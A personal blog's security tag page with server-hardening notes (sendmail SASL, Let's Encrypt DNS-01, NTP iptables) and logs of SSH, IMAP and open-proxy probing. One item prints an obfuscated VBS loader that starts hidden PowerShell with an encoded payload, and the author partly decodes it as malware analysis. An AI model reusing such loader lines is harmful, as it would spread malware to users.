News items for tag security - Koos van den Hout

Since activating sendmail authentication with secondary passwords I see a number of attempts to guess credentials to send mail via my system. This is not very surprising, given the constant attack levels on the wider Internet.

For work I am looking at log correlation and monitoring and with that in mind I noted that finding the right information from sendmail where and when the attempt came from is quite hard since there are several processes busy and it's hard to correlate the logging. The failed attempt is logged by saslauthd in /var/log/auth.log:

Aug 16 12:28:57 greenblatt saslauthd[32648]: pam_unix(smtp:auth): check pass; user unknown
Aug 16 12:28:57 greenblatt saslauthd[32648]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Aug 16 12:28:59 greenblatt saslauthd[32648]: do_auth         : auth failure: [user=monster] [service=smtp] [realm=idefix.net] [mech=pam] [reason=PAM auth error]
Aug 16 12:29:00 greenblatt saslauthd[32649]: pam_unix(smtp:auth): check pass; user unknown
Aug 16 12:29:00 greenblatt saslauthd[32649]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Aug 16 12:29:02 greenblatt saslauthd[32649]: do_auth         : auth failure: [user=monster] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]

This is probably related to this sendmail log information:

Aug 16 12:28:56 greenblatt sm-mta[20716]: STARTTLS=server, relay=62.82.128.182.static.user.indesat.com [62.82.128.182] (may be forged), version=TLSv1/SSLv3, verify=NO, cipher=DHE-RSA-AES256-SHA, bits=256/256
Aug 16 12:29:02 greenblatt sm-mta[20716]: w7GASspx020716: 62.82.128.182.static.user.indesat.com [62.82.128.182] (may be forged) did not issue MAIL/EXPN/VRFY/ETRN during connection to MSP-v6

But I can't be sure as there are multiple 'did not issue MAIL/EXPN/VRFY/ETRN' messages in the logs. So I can't build a fail2ban rule based on this.

----- No virus found in this message. Checked by AVG - www.avg.com Version: 2014
.0.4830 / Virus Database: 4365/10772 - Release Date: 13/08/18

[-- Attachment #2: doc10089752487652120190813.docx.jar --]

I guess No known virus found was a better message for AVG.

The authenticated SMTP setup with sendmail and secondary passwords I created is also attracting a new kind of attack: trying credentials from dataleaks. Leading to interesting tries in the log:

Aug 10 17:29:01 greenblatt saslauthd[32650]: do_auth         : auth failure: [user=409shop.com] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]
Aug 11 10:48:42 greenblatt saslauthd[32649]: do_auth         : auth failure: [user=409shop.com] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]

After thoroughly automating Let's Encrypt certificate renewal and installation I wanted to get the same level of automation for systems that do not expose an http service to the outside world. So that means the DNS-01 challenge within the ACME protocol has to be used.

I found out dehydrated Let's Encrypt certificate management supports DNS-01 and I found a sample on how to do this with bind9 at Example hook script using Dynamic DNS update utility for dns-01 challenge which looks like it can do the job.

It took me a few failed tries to find out that if I want a certificate for the name turing.idefix.net that it will request the TXT record for _acme-challenge.turing.idefix.net to make me prove that I have control over the right bit of DNS. I first assumed something in _acme-challenge.idefix.net which turned out wrong. So the bind9 config in /etc/bind/named.conf.local has:

zone "_acme-challenge.turing.idefix.net" {
        type master;
        file "/var/cache/bind/_acme-challenge.turing.idefix.net-zone";
        masterfile-format text;
        allow-update { key "acmekey-turing"; };
        allow-query { any; };
        allow-transfer {
                localnetwork;
        };
};

And in the idefix.net zone there is just one delegation:

_acme-challenge.turing  IN      NS      ns2

I created and used a dnskey with something like:

# dnssec-keygen -r /dev/random -a hmac-sha512 -b 128 -n HOST acmekey-turing
Kacmekey-turing.+157+53887

This gives 2 files, both with the right secret:

# ls Kacmekey-turing.+157+53887.*
Kacmekey-turing.+157+53887.key  Kacmekey-turing.+157+53887.private
# cat Kacmekey-turing.+157+53887.key
acmekey-turing. IN KEY 512 3 157 c2V0ZWMgYXN0cm9ub215

and configured it in /etc/bind/named.conf.options:

key "acmekey-turing" {
        algorithm hmac-md5;
        secret "c2V0ZWMgYXN0cm9ub215";
};

And now I can request a key for turing.idefix.net and use it to generate sendmail certificates. And the net result:

        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256          
        verify=OK)                                                              

SMTP between systems with TLS working and good certificates.

I needed to configure sendmail authenticated access because I want a strict SPF record for idefix.net which means I always have to make outgoing mail originate from the right server.

For the sendmail authenticated smtp bit I used How to setup and test SMTP AUTH within Sendmail with some configuration details from Setting up SMTP AUTH with sendmail and Cyrus-SASL. To get this running saslauthd is needed to get authentication at all and I decided to let it use the pam authentication mechanism. The relevant part of sendmail.mc:

include(`/etc/mail/sasl/sasl.m4')dnl
define(`confAUTH_OPTIONS', `A p')dnl
define(`confAUTH_MECHANISMS', `LOGIN PLAIN')dnl
TRUST_AUTH_MECH(`LOGIN PLAIN')dnl

And now I can login to sendmail only in an encrypted session. And due to sendmail and other services now having valid certificates I can set up all devices to fully check the certificate so I make it difficult to intercept this password.

And after I got that working I decided I wanted 'secondary passwords' just like I configured extra passwords for IMAPS access so I set up /etc/pam.d/smtp to allow other passwords than the unix password and restrict access to the right class of users.

auth    required    pam_succeed_if.so quiet user ingroup users
auth    [success=1 default=ignore]      pam_unix.so nullok_secure
auth    sufficient  pam_userdb.so db=/etc/courier/extrausers crypt=crypt use_first_pass
# here's the fallback if no module succeeds
auth    requisite                       pam_deny.so

Now I can set up my devices that insist on saving the password for outgoing smtp and if it ever gets compromised I just have to change that password without it biting me too hard.

Over two years ago I started using Let's Encrypt certificates. Recently I wanted to automate this a step further and found dehydrated automated certificate renewal which helps a lot in automating certificate renewal with minimal hassle.

First thing I fixed was http-based verification. The webserver has been set up to make all .well-known/acme-challenge directories end up in one place on the filesystem and it turns out this works great with dehydrated.

I created a separate user for dehydrated, gave that user write permissions for the /home/httpd/html/.well-known/acme-challenge directory. It also needs write access to /etc/dehydrated for its own state. I changed /etc/dehydrated/config with:

CHALLENGETYPE="http-01"
WELLKNOWN="/home/httpd/html/.well-known/acme-challenge"

Now it was possible to request certificates based on a .csr file. I used this to get a new certificate for the home webserver, and it turned out to be easier than the previous setup based on letsencrypt-nosudo.

SSH attacks are on the rise. But fail2ban isn't blocking as much of those attacks as it used to since the attacks are quite distributed. This morning I noticed clear correlation between a subset of the attempts, they were all using names of websites hosted on the same system.

Jun 25 06:18:44 greenblatt sshd[10092]: Invalid user campwireless from 95.111.97.96
Jun 25 06:29:21 greenblatt sshd[10993]: Invalid user camp-wireless from 206.189.158.105
Jun 25 06:30:51 greenblatt sshd[11073]: Invalid user campwireless from 211.118.23.85
Jun 25 06:41:43 greenblatt sshd[12213]: Invalid user camp-wireless from 80.191.115.125
Jun 25 06:50:01 greenblatt sshd[12962]: Invalid user campwireless from 46.24.225.3
Jun 25 06:59:39 greenblatt sshd[13794]: Invalid user camp-wireless from 58.221.14.202
Jun 25 07:35:27 greenblatt sshd[16771]: Invalid user virtualbookcase from 98.248.65.243
Jun 25 07:35:36 greenblatt sshd[16779]: Invalid user campwireless from 109.95.210.175
Jun 25 07:39:28 greenblatt sshd[17175]: Invalid user camp-wireless from 88.170.50.242
Jun 25 07:46:01 greenblatt sshd[17570]: Invalid user camp-wireless from 166.70.198.80
Jun 25 07:54:59 greenblatt sshd[18273]: Invalid user camp-wireless from 187.104.5.246
Jun 25 07:59:48 greenblatt sshd[18754]: Invalid user idefix from 188.19.15.188
Jun 25 08:02:08 greenblatt sshd[18926]: Invalid user idefix from 179.219.129.91
Jun 25 08:05:54 greenblatt sshd[19358]: Invalid user virtualbookcase from 118.114.237.235
Jun 25 08:09:45 greenblatt sshd[19809]: Invalid user urlurl from 111.231.89.130
Jun 25 08:26:35 greenblatt sshd[21183]: Invalid user urlurl from 212.156.83.146
Jun 25 08:29:07 greenblatt sshd[21357]: Invalid user camp-wireless from 37.205.177.106
Jun 25 08:43:04 greenblatt sshd[22400]: Invalid user campwireless from 190.85.83.230
Jun 25 08:45:45 greenblatt sshd[22558]: Invalid user campwireless from 35.161.235.34
Jun 25 09:01:30 greenblatt sshd[23883]: Invalid user urlurl from 180.76.160.50
Jun 25 09:08:17 greenblatt sshd[24516]: Invalid user camp-wireless from 60.251.223.115
Jun 25 09:23:47 greenblatt sshd[26042]: Invalid user camp-wireless from 106.51.76.93
Jun 25 09:45:27 greenblatt sshd[27812]: Invalid user camp-wireless from 62.254.31.162
Jun 25 09:56:02 greenblatt sshd[28617]: Invalid user campwireless from 212.77.72.170
Jun 25 10:06:47 greenblatt sshd[29707]: Invalid user campwireless from 123.207.139.72
Jun 25 10:14:58 greenblatt sshd[30250]: Invalid user camp-wireless from 81.95.114.163
Jun 25 10:15:43 greenblatt sshd[30317]: Invalid user camp-wireless from 193.112.166.253
Jun 25 10:19:17 greenblatt sshd[30698]: Invalid user campwireless from 211.54.146.250
Jun 25 10:19:25 greenblatt sshd[30702]: Invalid user urlurl from 178.91.253.138
Jun 25 10:32:42 greenblatt sshd[31743]: Invalid user idefix from 85.120.15.35
Jun 25 11:04:33 greenblatt sshd[2346]: Invalid user campwireless from 213.138.110.89

This suggests coordination between the attacking systems.

But the simpler attacks do continue:

Jun 25 09:17:31 greenblatt sshd[25579]: Invalid user cristina from 202.29.224.50
Jun 25 09:17:35 greenblatt sshd[25582]: Invalid user cristina from 202.29.224.50
Jun 25 09:17:39 greenblatt sshd[25586]: Invalid user cristina from 202.29.224.50
Jun 25 09:17:39 greenblatt sshd[25585]: Invalid user cristina from 202.29.224.50

Interesting in the logs:

Jun 19 21:22:29 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 21:23:30 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 21:27:05 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 19 21:31:58 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 19 22:27:15 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 22:30:10 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 22:44:17 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]

..

Jun 22 14:23:39 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 22 14:24:35 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 22 15:20:05 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 22 15:21:01 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 22 15:29:18 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 22 15:30:06 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]

Every time fail2ban blocks the addresses for a while but the attacker is more persistant than that.

Showing in the logs since a few hours:

Jun 18 12:48:36 server named[16424]: client 92.247.148.230#38664: query '1.3.20.172.in-addr.arpa/PTR/IN' denied
Jun 18 12:48:39 server named[16424]: client 92.247.148.230#38664: query '14.0.20.172.in-addr.arpa/PTR/IN' denied
Jun 18 12:48:45 server named[16424]: client 92.247.148.230#38664: query '41.1.20.172.in-addr.arpa/PTR/IN' denied
Jun 18 12:48:47 server named[16424]: client 92.247.148.230#38664: query '6.1.20.172.in-addr.arpa/PTR/IN' denied

Given earlier reports of the same IPv4 address asking about the same queries this has been seen by at least one other place before. Blacklisted for now, maybe I can think of some answers that can slow down the resolver later.

Over the years I have ranted several times about linkspammers. About spammers in general too, but linkspammers are a special category.

Most of them, especially the fully automated ones died when google started detecting their deceit. That time there was some amusement to be had reading mails "somehow there is an evil link to my site from your site, please remove it as it affects both our google ranking".

But now they are back, but trying to hide it a lot better. I received several nicey-nicey and helpful mails with really personal suggestions to improve my site, or improve the world in general by adding some link they proposed, complete with the right anchor text.

At first I thought they were personal and answered them telling them the proposed links were wrong, or they had not read the article/post/.. they wanted to change very carefully.

And then a week or two later I'd get another personal mail asking whether I had considered their previous request. And answering with "did you read my answer?" did not change a thing.

My best guess at the moment is that I wasn't looking at a personal mail and that I should add a lot of airquotes about terms like "personal" above. It's a template with 'page X' 'needs link Y' and 'with anchor text Z' and there is software running that checks whether page X has the 'right' link and keeps sending reminders until it does.

As you can imagine (or not), I feel very annoyed by this new scam tactic.

One sample:

Hi pal,

My name is Oliver and I'm writing to share an infographic that aims to educate people about PTSD amongst our veterans and serving military personnel. The infographic is titled "The Silent Enemy: How PTSD Damages Our Soldiers".

You can view the infographic by clicking here: [link]

To spread the word about these issues, I ask if you could add a "weblink" to this infographic from this page on your own website: https://idefix.net/~koos/newsitem.cgi/1318581406 Note how this page has only a link to 'military' but actually reading it for 4 seconds would let you know that it has no link to PTSD in the military.

I chose this page because you already link to www.af.mil/News/Photos/ from this page.

If this is possible, you could add the below text to this page on your own websi te:

The Silent Enemy: How PTSD Damages Our Soldiers – An infographic aiming to raise awareness about PTSD in the military.

Alternatively, you could also publish the infographic on your website as a "guest blog post". If this is OK, I can write a unique introduction to go with the infographic. This will save you time and also help to highlight the important issues covered in the infographic.

I really appreciate your time. I know that linking to this infographic will help to build awareness about mental health issues amongst veterans and serving memb ers of the military. I'm sure this is a cause you would like to get behind by adding the above link. I've actually attached the infographic to this email for you to add to your website at either the page I suggest or as a fresh blog post.

Many thanks,

Oliver Clark

Rehab 4 Alcoholism

Please click on Unsubscribe to be unsubscribed from any future communications. P rivacy notice.

The last line is quite a hint that this is from an automated system, the stories are somewhat long so this isn't always very visible.

Now I also wonder whether the link would be to a very commercial rehab organisation.

I noticed a lot of error messages from sshd/imaps and other services all related to IPv4 address 192.175.111.254. Checking the firewall logs found even more attempts.

It seems all this noise is related to a 'Web Server Security Test' from High-Tech Bridge. Something like the Qualys SSL Labs SSL Server Test but aimed at a complete test according to PCI DSS, HIPAA and NIST. Since most of those standards have to do with procedures too an automated test can never be complete.

But with all these errors and firewall log entries it is very noisy. And now I wonder who was interested in my webserver security at a time that I was asleep.

Apr  6 23:41:16 greenblatt sshd[25116]: Invalid user squid from 139.99.122.129
Apr  7 01:44:09 greenblatt sshd[3495]: Invalid user squid from 110.10.189.108
Apr  7 08:21:37 greenblatt sshd[7106]: Invalid user squid from 118.24.100.11

I'm glad you read my newsitem about keeping squid running.

It seems any open port can be tried as an open webproxy. An open webproxy is interesting for hiding tracks or getting around restrictions. But some of the scans are getting stupid. There are still a lot of other tcp-based services, not everything is HTTP.

From recent logs:

Mar 14 13:46:42 greenblatt nnrpd[20297]: 185.100.87.248 unrecognized GET / HTTP/1.0                                                                             
Mar 14 13:46:47 greenblatt nnrpd[20299]: 185.100.87.248 unrecognized OPTIONS / HTTP/1.0                                                                         
Mar 14 13:46:52 greenblatt nnrpd[20301]: 185.100.87.248 unrecognized OPTIONS / RTSP/1.0                                                                         

And this gem of distributed scanning:

Mar  8 08:45:00 greenblatt sm-mta[6355]: w287j0dE006355: 78.84.202.1.static.bjtelecom.net: probable open proxy: command=GET http://www.boxun.com/ HTTP/1.1\r\n
Mar  8 08:45:00 greenblatt sm-mta[6359]: w287j0V0006359: [14.204.118.100]: probable open proxy: command=GET http://www.minghui.org/ HTTP/1.1\r\n
Mar  8 08:45:00 greenblatt sm-mta[6360]: w287j0lM006360: [14.204.94.84]: probable open proxy: command=GET http://www.rfa.org/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6353]: w287j4lq006353: [110.177.75.38]: probable open proxy: command=GET http://www.baidu.com/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6356]: w287j4io006356: [101.249.104.160]: probable open proxy: command=GET http://www.bing.com/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6357]: w287j4h0006357: [119.118.16.42]: probable open proxy: command=GET http://wujieliulan.com/ HTTP/1.1\r\n
Mar  8 08:45:05 greenblatt sm-mta[6358]: w287j5pu006358: [112.66.106.4]: probable open proxy: command=CONNECT www.voanews.com:443 HTTP/1.0\r\n
Mar  8 08:45:05 greenblatt sm-mta[6354]: w287j5bt006354: 36.49.239.221.broad.tj.tj.dynamic.163data.com.cn [221.239.49.36] (may be forged): probable open proxy: command=GET http://www.123cha.com/ HTTP/1.1\r\n

Interesting timing and coordination on this one, looks like some form of central control was involved.

In some files I noticed a vbs file where I expected something else. Vbs sounds like visual basic script so I directly started looking for malware. And indeed I saw suspicous code, with a for me new type of obfuscation.

The vbs has one really long line, beginning with:

CreateObject("Wscript.Shell").Run("powershell -w hidden -ep bypass -enc aQBuAHYA
bwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADQAOAB9AHsAMQAyAH0AewAyADgAfQB7ADEA
MAAzAH0AewAyADEAfQB7ADkAfQB7ADEAMAA2AH0AewA3ADAAfQB7ADIAOAB9AHsAOAB9AHsAMAB9AHsA

and at the end:

IgByACIALAAiAGsAIgAsACIAYQAiACwAIgAgACIALAAiAHYAIgAsACIAZwAiACwAIgBzACIALAAiAGUA
IgAsACIAbgAiACwAIgArACIALAAiAHQAIgAsACIAcgAiACwAIgAiACwAIgB0ACIALAAiAHAAIgAsACIA
ZQAiACwAIgBlACIALAAiAC8AIgAsACIAZQAiACwAIgBTACIAKQA=")

Which looked very base64-like to me. But standard tools could not find out what it was:

$ base64 -d < base64part | file -
/dev/stdin: data

But with a second look I could make out something:

$ base64 -d < base64part | xxd | less
0000000: 6900 6e00 7600 6f00 6b00 6500 2d00 6500  i.n.v.o.k.e.-.e.
0000010: 7800 7000 7200 6500 7300 7300 6900 6f00  x.p.r.e.s.s.i.o.
0000020: 6e00 2800 2200 7b00 3400 3800 7d00 7b00  n.(.".{.4.8.}.{.
0000030: 3100 3200 7d00 7b00 3200 3800 7d00 7b00  1.2.}.{.2.8.}.{.
0000040: 3100 3000 3300 7d00 7b00 3200 3100 7d00  1.0.3.}.{.2.1.}.
0000050: 7b00 3900 7d00 7b00 3100 3000 3600 7d00  {.9.}.{.1.0.6.}.
0000060: 7b00 3700 3000 7d00 7b00 3200 3800 7d00  {.7.0.}.{.2.8.}.
0000070: 7b00 3800 7d00 7b00 3000 7d00 7b00 3200  {.8.}.{.0.}.{.2.
0000080: 7d00 7b00 3400 3100 7d00 7b00 3100 3100  }.{.4.1.}.{.1.1.
0000090: 3300 7d00 7b00 3600 3600 7d00 7b00 3000  3.}.{.6.6.}.{.0.

Suddenly there is UTF-16 powershell code. Or when I simply cat it to a terminal:

invoke-expression("{48}{12}{28}{103}{21}{9}{106}{70}{28}{8}{0}{2}{41}{113}{66}
[..]
-f "t","2"," ",".","i","f","C","'","c","o","2",")","n","n","0","c","'","/",

It looks like some kind of array mapping, but I have no idea how to decode this into readable code to check what it does. I am quite sure it can't be up to any good if I keep finding levels of obfuscation!

In the sshd logging today:

sshd[26961]: Invalid user <!-- from 103.9.88.249

But the logging is parsed via software that doesn't trust input either, so the rest is in the report too. Including more attempts from that IPv4 address.

I was setting up a linux based firewall on a busy ntp server and to make sure everything worked as designed I added the usual:

iptables -A INPUT -j ACCEPT --protocol all -m state --state ESTABLISHED,RELATED

And after less than half an hour the system log started filling with

nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet

It is indeed a busy server. The solution is to exclude all the ntp traffic from the stateful firewall. Which means I have to allow all kinds of ntp traffic (outgoing and incoming) by itself.

The specific ruleset:

iptables -t raw -A PREROUTING --protocol udp --dport 123 -j NOTRACK
iptables -t raw -A OUTPUT --protocol udp --sport 123 -j NOTRACK

iptables -A INPUT -j ACCEPT --protocol udp --destination-port 123

I also made sure the rules for the ntp traffic are the first rules.

Traffic at this server is somewhat over 1000 ntp request per second. So the counters of the NOTRACK rules go fast.

# iptables -t raw -L -v
Chain PREROUTING (policy ACCEPT 1652K packets, 126M bytes)
 pkts bytes target     prot opt in     out     source               destination 
9635K  732M CT         udp  --  any    any     anywhere             anywhere             udp dpt:ntp NOTRACK
1650K  125M CT         udp  --  any    any     anywhere             anywhere             udp dpt:ntp NOTRACK

Chain OUTPUT (policy ACCEPT 1522K packets, 117M bytes)
 pkts bytes target     prot opt in     out     source               destination 
9029K  686M CT         udp  --  any    any     anywhere             anywhere             udp spt:ntp NOTRACK
1520K  116M CT         udp  --  any    any     anywhere             anywhere             udp spt:ntp NOTRACK

But no packets are dropped, which is good as this server is supposed to be under a constant DDoS.

I noticed today one of the ntp servers I manage has been collecting ages of ntpd mode 7 probes without ever responding. But it makes a nice overview of probing IPv4 addresses:

remote address          port local address      count m ver rstr avgint  lstint
===============================================================================
184.105.139.82          1714 xxx.xxx.xxx.xxx        3 7 2      1 3413098   40058
184.105.139.72         14152 xxx.xxx.xxx.xxx        7 6 2      1 1107023   60553
185.165.29.145         33482 xxx.xxx.xxx.xxx        9 7 2      1 647886   73704
91.200.12.126          47493 xxx.xxx.xxx.xxx        2 7 2      1  12199   78678
185.94.111.1           33066 xxx.xxx.xxx.xxx       44 7 2      1 139771   83493
212.237.45.33          39353 xxx.xxx.xxx.xxx        1 7 2      1      0   84058
184.105.139.122        16124 xxx.xxx.xxx.xxx        4 7 2      1 1830407  127241
165.227.44.214         36749 xxx.xxx.xxx.xxx        1 7 2      1      0  138342
185.82.203.150         38141 xxx.xxx.xxx.xxx       12 7 2      1 147806  143793
185.2.81.90            33119 xxx.xxx.xxx.xxx        6 7 2      1 199742  180842
184.105.139.110        57630 xxx.xxx.xxx.xxx        6 7 2      1 968029  223794
77.87.79.97            34540 xxx.xxx.xxx.xxx        2 7 2      1  31910  251316
184.105.139.102        50130 xxx.xxx.xxx.xxx        3 7 2      1 2950157  308291
185.55.218.227         33716 xxx.xxx.xxx.xxx        2 7 2      1 853413  311971
104.243.41.54          30820 xxx.xxx.xxx.xxx        2 7 2      1 3258925  334017
123.249.27.176         35963 xxx.xxx.xxx.xxx        7 7 2      1 452131  339518
191.96.249.173         42895 xxx.xxx.xxx.xxx       10 7 2      1 692139  348753
71.194.80.50           51096 xxx.xxx.xxx.xxx        2 7 2      1  74579  392665
184.105.139.126        38393 xxx.xxx.xxx.xxx        2 7 2      1 3535530  394349
185.55.218.250         48871 xxx.xxx.xxx.xxx        2 7 2      1 537671  411921
184.105.139.86         34651 xxx.xxx.xxx.xxx        5 7 2      1 1361673  478157
123.249.24.175         37973 xxx.xxx.xxx.xxx        6 7 2      1 476469  502270
184.105.139.98         21269 xxx.xxx.xxx.xxx       10 7 2      1 718112  567076
184.105.139.70         38190 xxx.xxx.xxx.xxx        6 7 2      1 1107237  649625
66.55.135.62           54536 xxx.xxx.xxx.xxx        8 7 2      1  40836  721372
138.197.130.148        39857 xxx.xxx.xxx.xxx        2 7 2      1 415601  788308
191.96.249.113         36079 xxx.xxx.xxx.xxx        2 7 2      1 1501700  862267
184.105.139.78         37702 xxx.xxx.xxx.xxx        4 7 2      1 1637431  908028
159.89.47.224          47766 xxx.xxx.xxx.xxx        5 7 2      1 361160  913255
162.209.168.12         39122 xxx.xxx.xxx.xxx        2 7 2      1 109901  976174
123.249.26.159         34990 xxx.xxx.xxx.xxx       41 7 2      1  88999 1045070
184.105.139.74         38666 xxx.xxx.xxx.xxx        6 7 2      1 822261 1079624
185.55.218.242         54815 xxx.xxx.xxx.xxx        7 7 2      1  89032 1102095
191.96.249.12          48406 xxx.xxx.xxx.xxx        4 7 2      1 1133779 1198815
101.100.146.139        39660 xxx.xxx.xxx.xxx        3 7 2      1 1951322 1244586
209.250.238.186        39459 xxx.xxx.xxx.xxx        2 7 2      1  53072 1252190
119.1.109.85           51099 xxx.xxx.xxx.xxx       10 7 2      1 223881 1325320
184.105.139.118        34319 xxx.xxx.xxx.xxx        4 7 2      1 905995 1339133
184.105.139.106        15081 xxx.xxx.xxx.xxx        2 7 2      1 2932231 1430316
191.96.249.131         35972 xxx.xxx.xxx.xxx        2 7 2      1 1499287 1491171
185.55.218.237         43409 xxx.xxx.xxx.xxx        2 7 2      1 4255207 1497992
185.55.218.236         55927 xxx.xxx.xxx.xxx        3 7 2      1 1566148 1718947
138.68.247.41          41914 xxx.xxx.xxx.xxx        2 7 2      1  53524 1936953
184.105.139.94         41523 xxx.xxx.xxx.xxx        5 7 2      1 1112720 1948506
45.63.27.150           40862 xxx.xxx.xxx.xxx        2 7 2      1 1676933 1991259
185.188.207.13         45915 xxx.xxx.xxx.xxx       20 7 2      1 156321 2041538
185.44.107.183         45785 xxx.xxx.xxx.xxx        2 7 2      1 132706 2107890
184.105.139.90         35315 xxx.xxx.xxx.xxx        5 7 2      1 350936 2206670
191.96.249.61          30296 xxx.xxx.xxx.xxx        3 7 2      1  59063 2226284
195.22.127.173         40060 xxx.xxx.xxx.xxx        2 7 2      1  20615 2253429
184.105.139.114        56609 xxx.xxx.xxx.xxx        4 7 2      1 604491 2291452
104.243.41.52            123 xxx.xxx.xxx.xxx        2 7 2      1  85831 2381504
103.9.78.129           50367 xxx.xxx.xxx.xxx        2 7 2      1 868629 2449128
167.88.15.18           40815 xxx.xxx.xxx.xxx        2 7 2      1 182471 2525650
167.88.180.82          40640 xxx.xxx.xxx.xxx        2 7 2      1  66892 2715823
192.158.229.240        39284 xxx.xxx.xxx.xxx        4 7 2      1 163873 2759391
51.15.45.102           45371 xxx.xxx.xxx.xxx        2 7 2      1  92720 2768083
185.198.58.55          18637 xxx.xxx.xxx.xxx        2 7 0      1 802096 2787683
123.249.24.197         40362 xxx.xxx.xxx.xxx       37 7 2      1  85431 2983252
167.88.180.26          49125 xxx.xxx.xxx.xxx        4 7 2      1  60114 3023906
188.213.49.83          34969 xxx.xxx.xxx.xxx        2 7 2      1 254056 3095396
45.76.24.165           41025 xxx.xxx.xxx.xxx        2 7 2      1 107397 3103557
213.183.54.46          40409 xxx.xxx.xxx.xxx        5 7 2      1 206100 3224158
145.239.237.23         35814 xxx.xxx.xxx.xxx        2 7 2      1 571497 3264230
165.227.220.24         39557 xxx.xxx.xxx.xxx        2 7 2      1  52796 3292818
123.249.35.214         47756 xxx.xxx.xxx.xxx        2 7 2      1 242695 3296347
123.249.76.52          59698 xxx.xxx.xxx.xxx        8 7 2      1 246226 3446607
123.249.79.178         52301 xxx.xxx.xxx.xxx        2 7 2      1 839605 3455884
207.254.182.131        52337 xxx.xxx.xxx.xxx        4 7 2      1   1384 3648002
185.55.218.109         37602 xxx.xxx.xxx.xxx        2 7 2      1 752428 3652434
128.14.61.111          53586 xxx.xxx.xxx.xxx        3 7 2      1 103699 3796467
104.238.146.66         52224 xxx.xxx.xxx.xxx        2 7 2      1 138668 3837468
95.215.62.72           42111 xxx.xxx.xxx.xxx        4 7 2      1 608618 3932262
45.76.195.157          59987 xxx.xxx.xxx.xxx        2 7 2      1 143642 4096101
123.249.79.232         40165 xxx.xxx.xxx.xxx        4 7 2      1 146715 4317577
86.105.9.86            55857 xxx.xxx.xxx.xxx        4 7 2      1 115972 4329305
217.147.89.197         49717 xxx.xxx.xxx.xxx        4 7 2      1 314874 4463013
182.18.22.246          58611 xxx.xxx.xxx.xxx        3 7 2      1 359548 4485937
185.82.203.107         56661 xxx.xxx.xxx.xxx        7 7 2      1 176060 4516810
79.124.60.148          58043 xxx.xxx.xxx.xxx        2 7 2      1 687406 4684505
185.107.94.66          46254 xxx.xxx.xxx.xxx        2 7 2      1 1263073 4750583
191.96.249.84          49259 xxx.xxx.xxx.xxx        2 7 2      1 329846 5160890
111.121.193.201         6065 xxx.xxx.xxx.xxx        3 7 0      1 101832 5558503
185.188.207.15         33999 xxx.xxx.xxx.xxx        3 7 2      1  90416 5655119
185.117.74.118         52973 xxx.xxx.xxx.xxx        2 7 2      1   2174 5717159
185.82.203.58          59170 xxx.xxx.xxx.xxx        2 7 2      1  47838 5847404
185.162.128.66         39141 xxx.xxx.xxx.xxx        2 7 2      1   4837 5895126

All IP addresses with only 1 packet removed.

Ik wilde vandaag iets betalen in een website en die kwam vervolgens met "Mastercard securecode". Alleen de manier waarop was dusdanig dat ik de betaling afgebroken heb omdat ik het niet vertrouwde.

De afhandeling van Mastercard securecode was binnen een iframe van de website, in een compleet andere stijl dan de website. Vervolgens bleek bij het opvragen van details dat dat iframe komt van https://www.securesuite.co.uk/ing_retail/ wat geen EV certificaat heeft. Na het vragen om de creditcard gegevens kwam een vraag over de rekening die gekoppeld is aan de creditcard en een geboortedatum. Of dat gaat om mijn geboortedatum of die van de persoon van wie de creditcard is stond er niet bij.

Dus een ernstige phishing poging of een slechte implementatie van het voorkomen van fraude. Ooit heb ik de mastercard secure code ingesteld, en daar werd ook niet naar gevraagd. Ik heb er voor gekozen de betaling af te breken.

In 2010 schreef al iemand hierover: Verified by Visa and Mastercard SecureCode are broken and need to be fixed. Sindsdien is de enige verandering dat ik nu een EV certificaat op zo'n site zou verwachten. En dat heeft www.securesuite.co.uk niet.

In building the new homeserver there is also time to test things and improve robustness a bit (although I should not overdo it).

The one thing that forces me to look at some web-code again is that the new servers run PHP version 7. Some of my code is giving warnings, time to fix that. But I haven't written any serious PHP in ages, I just rewrote sites in mod_perl. So my PHP is rusty and needs work, especially with PHP 7.

It's a good thing I use version management, which allows me to test the fixes on the development version(s) of the site and push them to the production version when I'm happy with the results.

Some of the things I notice that could improve go on the todo list. One thing I did notice and fixed right away was that the CVS metadata inside the web directories could be requested too. Although I find no serious security information in there it is still an unwanted information leak.

This morning I noticed some to me new amounts of sshd noise in the log:

Dec 26 01:55:43 server sshd[31415]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
Dec 26 01:56:24 server sshd[31466]: Bad protocol version identification '\200F\001\003\001' from 185.110.132.140
